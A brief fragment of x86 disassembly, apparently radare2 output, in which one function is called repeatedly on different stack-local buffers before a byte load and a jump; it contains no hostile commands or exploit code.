lea ecx, [ebp - 0x84]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x68]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0xe4]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x18c]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0xac]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x1a8]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0xc8]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x11c]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x154]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x30]
call fcn.00409968
push ebx
push esi
lea ecx, [ebp - 0x4c]
call fcn.00409968
mov al, byte [ebp - 0x1fa01]
jmp 0x418f5b